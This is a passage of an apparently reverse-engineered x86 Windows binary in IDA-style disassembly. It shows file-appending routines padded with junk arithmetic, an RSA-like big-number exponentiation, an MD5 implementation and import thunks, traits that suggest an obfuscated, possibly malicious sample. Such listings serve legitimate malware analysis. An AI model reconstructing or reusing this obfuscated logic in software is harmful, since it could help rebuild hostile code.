GetCurrentThreadId jmp loc_40BE28 ; --------------------------------------------------------------------------- loc_40BC22: ; CODE XREF: sub_40B525+666j push 5 push offset aTCt ; "ė" call sub_40129C lea edi, [ebp+var_FF] push edi lea edi, [ebp+var_241] push edi push eax lea edi, [ebp+var_241] push edi call sub_40CE54 add esp, 18h mov [ebp+var_116], 8 sub [ebp+var_116], 18h push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_41FC40 call sub_40CAD0 ; CreateFileA mov [ebp+var_128], eax push 2 push 0 push 0 push eax call sub_40CADC ; SetFilePointer lea ecx, [ebp+var_241] or eax, 0FFFFFFFFh loc_40BC8E: ; CODE XREF: sub_40B525+76Ej inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40BC8E push 0 lea esi, [ebp+var_248] push esi push eax lea edi, [ebp+var_241] push edi push [ebp+var_128] call sub_40CB48 ; WriteFile mov [ebp+var_117], 88h sub [ebp+var_117], 42h push 2 push offset word_446AF6 call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_248] push edi mov edi, 0Dh sub edi, dword_43C098 push edi push eax push [ebp+var_128] call sub_40CB48 ; WriteFile call sub_40C9D4 ; GetVersion push [ebp+var_128] call sub_40C9B0 ; CloseHandle call sub_40C938 ; GetCurrentProcessId push ds:dword_41FD44 call sub_40CCC8 ; DestroyWindow mov [ebp+var_11C], 2CF6h sub [ebp+var_11C], 28E3h push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_40F270 call sub_40CAD0 ; CreateFileA mov [ebp+var_128], eax push 2 push 0 push 0 push [ebp+var_128] call sub_40CADC ; SetFilePointer mov [ebp+var_109], 0BEh movzx eax, [ebp+var_109] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_109], al lea ecx, byte_434080 or eax, 0FFFFFFFFh loc_40BD76: ; CODE XREF: sub_40B525+856j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_40BD76 mov edi, eax push 0 lea esi, [ebp+var_248] push esi push edi push offset byte_434080 push [ebp+var_128] call sub_40CB48 ; WriteFile mov [ebp+var_11E], 74D5h inc [ebp+var_11E] push 1 push offset byte_446AF4 call sub_40129C add esp, 8 push 0 lea edi, [ebp+var_248] push edi mov edi, 0Ch sub edi, dword_43C098 push edi push eax push [ebp+var_128] call sub_40CB48 ; WriteFile mov ax, word_446AF0 mov [ebp+var_142], ax push [ebp+var_128] call sub_40C9B0 ; CloseHandle call sub_40C9D4 ; GetVersion push 5 push ds:dword_41D828 call sub_40CCB0 ; ShowWindow jmp short loc_40BE28 ; --------------------------------------------------------------------------- loc_40BE05: ; CODE XREF: sub_40B525+28j ; sub_40B525+44j ... push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CCE0 ; DefWindowProcA jmp short loc_40BE28 ; --------------------------------------------------------------------------- mov [ebp+var_124], 199Bh inc [ebp+var_124] loc_40BE28: ; CODE XREF: sub_40B525+1D7j ; sub_40B525+1FFj ... pop edi pop esi pop ebx leave retn 10h sub_40B525 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BE30 proc near ; CODE XREF: sub_406EA8+29p ; sub_406EA8+3Ep jmp ds:dword_448340 sub_40BE30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BE3C proc near ; CODE XREF: sub_405415+10Fp jmp ds:dword_44834C sub_40BE3C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BE48 proc near ; CODE XREF: sub_405415+18Ap jmp ds:dword_448350 sub_40BE48 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BE54 proc near ; CODE XREF: sub_406A6B+78p jmp ds:dword_44835C sub_40BE54 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BE60 proc near ; CODE XREF: sub_406A6B+48p jmp ds:dword_448360 sub_40BE60 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BE6C proc near ; CODE XREF: sub_406A6B+2Fp jmp ds:dword_448364 sub_40BE6C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40BE78 proc near ; CODE XREF: sub_406A03+4Dp jmp ds:dword_448368 sub_40BE78 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE84 proc near ; CODE XREF: sub_40886E+19p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp pusha cld mov edi, [ebp+arg_4] mov eax, 1 stosd mov ecx, 0Fh dec eax rep stosd lea edi, dword_447BBC mov esi, [ebp+arg_0] mov ecx, 10h rep movsd mov edi, [ebp+arg_8] call sub_40BF4F xor edx, edx loc_40BEB4: ; CODE XREF: sub_40BE84+52j push edx push ebx mov eax, [ebp+arg_8] bt [eax], edx jnb short loc_40BEC6 mov edx, [ebp+arg_4] call sub_40BEE0 loc_40BEC6: ; CODE XREF: sub_40BE84+38j lea edx, dword_447BBC call sub_40BEE0 pop ebx pop edx inc edx cmp edx, ebx jbe short loc_40BEB4 popa pop ebp retn 10h sub_40BE84 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40BEE0 proc near ; CODE XREF: sub_40BE84+3Dp ; sub_40BE84+48p lea edi, dword_447B7C mov ecx, 10h xor eax, eax rep stosd lea edi, dword_447BBC call sub_40BF4F loc_40BEFA: ; CODE XREF: sub_40BEE0+5Dj lea edi, dword_447B7C mov ecx, 10h xor eax, eax loc_40BF07: ; CODE XREF: sub_40BEE0+2Cj rcl dword ptr [edi], 1 lea edi, [edi+4] loop loc_40BF07 call sub_40BF60 bt dword_447BBC, ebx jnb short loc_40BF3C mov esi, edx lea edi, dword_447B7C xor eax, eax mov ecx, 10h loc_40BF2B: ; CODE XREF: sub_40BEE0+55j mov eax, [esi] adc [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_40BF2B call sub_40BF60 loc_40BF3C: ; CODE XREF: sub_40BEE0+3Aj dec ebx jns short loc_40BEFA mov edi, edx lea esi, dword_447B7C mov ecx, 10h rep movsd retn sub_40BEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40BF4F proc near ; CODE XREF: sub_40BE84+29p ; sub_40BEE0+15p mov ebx, 1FFh loc_40BF54: ; CODE XREF: sub_40BF4F+Bj bt [edi], ebx jb short locret_40BF5C dec ebx jnz short loc_40BF54 locret_40BF5C: ; CODE XREF: sub_40BF4F+8j retn sub_40BF4F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40BEE0+2Ep ; sub_40BEE0+57p lea esi, dword_447B7C mov edi, [ebp+14h] mov ecx, 0Fh loc_40BF6E: ; CODE XREF: sub_40BF60+19j mov eax, [esi+ecx*4] cmp eax, [edi+ecx*4] jb short locret_40BF97 ja short loc_40BF7B dec ecx jns short loc_40BF6E loc_40BF7B: ; CODE XREF: sub_40BF60+16j mov esi, [ebp+14h] lea edi, dword_447B7C xor eax, eax mov ecx, 10h loc_40BF8B: ; CODE XREF: sub_40BF60+35j mov eax, [esi] sbb [edi], eax lea esi, [esi+4] lea edi, [edi+4] loop loc_40BF8B locret_40BF97: ; CODE XREF: sub_40BF60+14j retn sub_40BF60 endp ; =============== S U B R O U T I N E ======================================= sub_40BF98 proc near ; CODE XREF: sub_40BFE9+32p ; sub_40BFE9+50p ... mov eax, ebx and eax, ecx push ebx not ebx and ebx, edx or eax, ebx pop ebx retn sub_40BF98 endp ; =============== S U B R O U T I N E ======================================= sub_40BFA5 proc near ; CODE XREF: sub_40BFE9+219p ; sub_40BFE9+238p ... mov eax, ebx and eax, edx push edx not edx and edx, ecx or eax, edx pop edx retn sub_40BFA5 endp ; =============== S U B R O U T I N E ======================================= sub_40BFB2 proc near ; CODE XREF: sub_40BFE9+420p ; sub_40BFE9+43Fp ... mov eax, ebx xor eax, ecx xor eax, edx retn sub_40BFB2 endp ; =============== S U B R O U T I N E ======================================= sub_40BFB9 proc near ; CODE XREF: sub_40BFE9+627p ; sub_40BFE9+645p ... mov eax, edx not eax or eax, ebx xor eax, ecx retn sub_40BFB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFC2 proc near ; CODE XREF: sub_408896+87p arg_0 = dword ptr 8 push ebp mov ebp, esp pusha mov edi, [ebp+arg_0] mov dword ptr [edi], 67452301h mov dword ptr [edi+4], 0EFCDAB89h mov dword ptr [edi+8], 98BADCFEh mov dword ptr [edi+0Ch], 10325476h popa pop ebp retn 4 sub_40BFC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE9 proc near ; CODE XREF: sub_408896+9Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp pusha mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [edi] mov dword_447BFC, eax mov eax, [edi+4] mov dword_447C00, eax mov eax, [edi+8] mov dword_447C04, eax mov eax, [edi+0Ch] mov dword_447C08, eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BF98 add eax, [edi] add eax, [esi] add eax, 0D76AA478h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BF98 add eax, [edi+0Ch] add eax, [esi+4] add eax, 0E8C7B756h rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BF98 add eax, [edi+8] add eax, [esi+8] add eax, 242070DBh rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BF98 add eax, [edi+4] add eax, [esi+0Ch] add eax, 0C1BDCEEEh rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BF98 add eax, [edi] add eax, [esi+10h] add eax, 0F57C0FAFh rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BF98 add eax, [edi+8] add eax, [esi+18h] add eax, 0A8304613h rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BF98 add eax, [edi+4] add eax, [esi+1Ch] add eax, 0FD469501h rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BF98 add eax, [edi] add eax, [esi+20h] add eax, 698098D8h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BF98 add eax, [edi+0Ch] add eax, [esi+24h] add eax, 8B44F7AFh rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BF98 add eax, [edi+8] add eax, [esi+28h] add eax, 0FFFF5BB1h rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BF98 add eax, [edi+4] add eax, [esi+2Ch] add eax, 895CD7BEh rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BF98 add eax, [edi] add eax, [esi+30h] add eax, 6B901122h rol eax, 7 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BF98 add eax, [edi+0Ch] add eax, [esi+34h] add eax, 0FD987193h rol eax, 0Ch add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BF98 add eax, [edi+8] add eax, [esi+38h] add eax, 0A679438Eh rol eax, 11h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BF98 add eax, [edi+4] add eax, [esi+3Ch] add eax, 49B40821h rol eax, 16h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFA5 add eax, [edi] add eax, [esi+4] add eax, 0F61E2562h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFA5 add eax, [edi+0Ch] add eax, [esi+18h] add eax, 0C040B340h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFA5 add eax, [edi+8] add eax, [esi+2Ch] add eax, 265E5A51h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFA5 add eax, [edi+4] add eax, [esi] add eax, 0E9B6C7AAh rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFA5 add eax, [edi] add eax, [esi+14h] add eax, 0D62F105Dh rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFA5 add eax, [edi+0Ch] add eax, [esi+28h] add eax, 2441453h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFA5 add eax, [edi+8] add eax, [esi+3Ch] add eax, 0D8A1E681h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFA5 add eax, [edi+4] add eax, [esi+10h] add eax, 0E7D3FBC8h rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFA5 add eax, [edi] add eax, [esi+24h] add eax, 21E1CDE6h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFA5 add eax, [edi+0Ch] add eax, [esi+38h] add eax, 0C33707D6h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFA5 add eax, [edi+8] add eax, [esi+0Ch] add eax, 0F4D50D87h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFA5 add eax, [edi+4] add eax, [esi+20h] add eax, 455A14EDh rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFA5 add eax, [edi] add eax, [esi+34h] add eax, 0A9E3E905h rol eax, 5 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFA5 add eax, [edi+0Ch] add eax, [esi+8] add eax, 0FCEFA3F8h rol eax, 9 add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFA5 add eax, [edi+8] add eax, [esi+1Ch] add eax, 676F02D9h rol eax, 0Eh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFA5 add eax, [edi+4] add eax, [esi+30h] add eax, 8D2A4C8Ah rol eax, 14h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFB2 add eax, [edi] add eax, [esi+14h] add eax, 0FFFA3942h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFB2 add eax, [edi+0Ch] add eax, [esi+20h] add eax, 8771F681h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFB2 add eax, [edi+8] add eax, [esi+2Ch] add eax, 6D9D6122h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFB2 add eax, [edi+4] add eax, [esi+38h] add eax, 0FDE5380Ch rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFB2 add eax, [edi] add eax, [esi+4] add eax, 0A4BEEA44h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFB2 add eax, [edi+0Ch] add eax, [esi+10h] add eax, 4BDECFA9h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFB2 add eax, [edi+8] add eax, [esi+1Ch] add eax, 0F6BB4B60h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFB2 add eax, [edi+4] add eax, [esi+28h] add eax, 0BEBFBC70h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFB2 add eax, [edi] add eax, [esi+34h] add eax, 289B7EC6h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFB2 add eax, [edi+0Ch] add eax, [esi] add eax, 0EAA127FAh rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFB2 add eax, [edi+8] add eax, [esi+0Ch] add eax, 0D4EF3085h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFB2 add eax, [edi+4] add eax, [esi+18h] add eax, 4881D05h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFB2 add eax, [edi] add eax, [esi+24h] add eax, 0D9D4D039h rol eax, 4 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFB2 add eax, [edi+0Ch] add eax, [esi+30h] add eax, 0E6DB99E5h rol eax, 0Bh add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFB2 add eax, [edi+8] add eax, [esi+3Ch] add eax, 1FA27CF8h rol eax, 10h add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFB2 add eax, [edi+4] add eax, [esi+8] add eax, 0C4AC5665h rol eax, 17h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFB9 add eax, [edi] add eax, [esi] add eax, 0F4292244h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFB9 add eax, [edi+0Ch] add eax, [esi+1Ch] add eax, 432AFF97h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFB9 add eax, [edi+8] add eax, [esi+38h] add eax, 0AB9423A7h rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFB9 add eax, [edi+4] add eax, [esi+14h] add eax, 0FC93A039h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFB9 add eax, [edi] add eax, [esi+30h] add eax, 655B59C3h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFB9 add eax, [edi+0Ch] add eax, [esi+0Ch] add eax, 8F0CCC92h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFB9 add eax, [edi+8] add eax, [esi+28h] add eax, 0FFEFF47Dh rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFB9 add eax, [edi+4] add eax, [esi+4] add eax, 85845DD1h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFB9 add eax, [edi] add eax, [esi+20h] add eax, 6FA87E4Fh rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFB9 add eax, [edi+0Ch] add eax, [esi+3Ch] add eax, 0FE2CE6E0h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFB9 add eax, [edi+8] add eax, [esi+18h] add eax, 0A3014314h rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFB9 add eax, [edi+4] add eax, [esi+34h] add eax, 4E0811A1h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov ebx, [edi+4] mov ecx, [edi+8] mov edx, [edi+0Ch] call sub_40BFB9 add eax, [edi] add eax, [esi+10h] add eax, 0F7537E82h rol eax, 6 add eax, [edi+4] mov [edi], eax mov ebx, [edi] mov ecx, [edi+4] mov edx, [edi+8] call sub_40BFB9 add eax, [edi+0Ch] add eax, [esi+2Ch] add eax, 0BD3AF235h rol eax, 0Ah add eax, [edi] mov [edi+0Ch], eax mov ebx, [edi+0Ch] mov ecx, [edi] mov edx, [edi+4] call sub_40BFB9 add eax, [edi+8] add eax, [esi+8] add eax, 2AD7D2BBh rol eax, 0Fh add eax, [edi+0Ch] mov [edi+8], eax mov ebx, [edi+8] mov ecx, [edi+0Ch] mov edx, [edi] call sub_40BFB9 add eax, [edi+4] add eax, [esi+24h] add eax, 0EB86D391h rol eax, 15h add eax, [edi+8] mov [edi+4], eax mov eax, dword_447BFC add [edi], eax mov eax, dword_447C00 add [edi+4], eax mov eax, dword_447C04 add [edi+8], eax mov eax, dword_447C08 add [edi+0Ch], eax popa pop ebp xor eax, eax retn 8 sub_40BFE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C834 proc near ; CODE XREF: sub_409A96+F9Bp var_1C = dword ptr -1Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp sub esp, 1Ch fnstcw [ebp+var_2] mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [esp+1Ch+var_1C] mov eax, [esp+1Ch+var_1C] fldcw [ebp+var_2] leave retn sub_40C834 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C858 proc near ; CODE XREF: sub_401219+66p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push edi call sub_40C92C ; GetCommandLineA mov edi, eax cmp byte ptr [edi], 22h jnz short loc_40C88C push 22h mov eax, edi inc eax push eax call sub_40CE84 add esp, 8 mov [ebp+var_4], eax or eax, eax jz short loc_40C8A7 mov edi, eax inc edi jmp short loc_40C884 ; --------------------------------------------------------------------------- loc_40C883: ; CODE XREF: sub_40C858+2Fj inc edi loc_40C884: ; CODE XREF: sub_40C858+29j cmp byte ptr [edi], 20h jz short loc_40C883 jmp short loc_40C8A7 ; --------------------------------------------------------------------------- loc_40C88B: ; CODE XREF: sub_40C858+3Ej inc edi loc_40C88C: ; CODE XREF: sub_40C858+Fj movsx eax, byte ptr [edi] or eax, eax jz short loc_40C898 cmp eax, 20h jnz short loc_40C88B loc_40C898: ; CODE XREF: sub_40C858+39j jmp short loc_40C89B ; --------------------------------------------------------------------------- loc_40C89A: ; CODE XREF: sub_40C858+4Dj inc edi loc_40C89B: ; CODE XREF: sub_40C858:loc_40C898j movsx eax, byte ptr [edi] or eax, eax jz short loc_40C8A7 cmp eax, 20h jz short loc_40C89A loc_40C8A7: ; CODE XREF: sub_40C858+24j ; sub_40C858+31j ... push 0 call sub_40C980 ; GetModuleHandleA push 1 push edi push 0 push eax call sub_40AB84 pop edi leave retn sub_40C858 endp ; =============== S U B R O U T I N E ======================================= sub_40C8BC proc near ; CODE XREF: sub_40132A+8p ; sub_402B9B+8p ... var_FFC = dword ptr -0FFCh pop ecx loc_40C8BD: ; CODE XREF: sub_40C8BC+14j sub esp, 1000h sub eax, 1000h test [esp+0FFCh+var_FFC], eax cmp eax, 1000h jnb short loc_40C8BD sub esp, eax test [esp+0FFCh+var_FFC], eax jmp ecx sub_40C8BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40C8DC proc near ; CODE XREF: sub_401C68+9Ap ; sub_405415+47p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] xor eax, eax mov ecx, 0FFFFFFFFh xchg edi, edx repne scasb neg ecx lea ecx, [ecx-1] mov eax, [esp+arg_4] xchg eax, esi mov edi, [esp+arg_0] rep movsb xchg eax, esi xchg edx, edi mov eax, [esp+arg_0] retn 8 sub_40C8DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C908 proc near ; CODE XREF: sub_4041FC+1DBp ; sub_4063C4+452p ... jmp ds:dword_448374 sub_40C908 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C914 proc near ; CODE XREF: sub_40AB84+35Bp jmp ds:dword_448378 sub_40C914 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C920 proc near ; CODE XREF: sub_4063C4+124p ; sub_408C17+173p jmp ds:dword_44837C sub_40C920 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C92C proc near ; CODE XREF: sub_40C858+5p jmp ds:dword_448380 sub_40C92C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C938 proc near ; CODE XREF: sub_401614:loc_4016D2p ; sub_401DB9+288p ... jmp ds:dword_448384 sub_40C938 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C944 proc near ; CODE XREF: sub_401C68+Dp ; sub_4022C3+22p ... jmp ds:dword_448388 sub_40C944 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C950 proc near ; CODE XREF: sub_401AF1+67p ; sub_409A96+6D4p jmp ds:dword_44838C sub_40C950 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C95C proc near ; CODE XREF: sub_408477+CFp jmp ds:dword_448390 sub_40C95C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C968 proc near ; CODE XREF: sub_401883+12p ; sub_401883:loc_4018A3p ... jmp ds:dword_448394 sub_40C968 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C974 proc near ; CODE XREF: sub_403BBF+F7p ; sub_4041FC+41p ... jmp ds:dword_448398 sub_40C974 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C980 proc near ; CODE XREF: sub_4022C3+1Bp ; sub_402651+121p ... jmp ds:dword_44839C sub_40C980 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C98C proc near ; CODE XREF: sub_4022C3+2Dp ; sub_4022C3+47p ... jmp ds:dword_4483A0 sub_40C98C endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C998 proc near ; CODE XREF: sub_401C68+6Ap ; sub_401DB9:loc_401F11p ... jmp ds:dword_4483A4 sub_40C998 endp ; --------------------------------------------------------------------------- db 2 dup(90h) dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9A4 proc near ; CODE XREF: sub_403AED+32p ; sub_4041FC+A3p ... jmp ds:dword_4483A8 sub_40C9A4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C9B0 proc near ; CODE XREF: sub_40132A+98p ; sub_401AF1+BCp ... jmp ds:dword_4483AC sub_40C9B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) 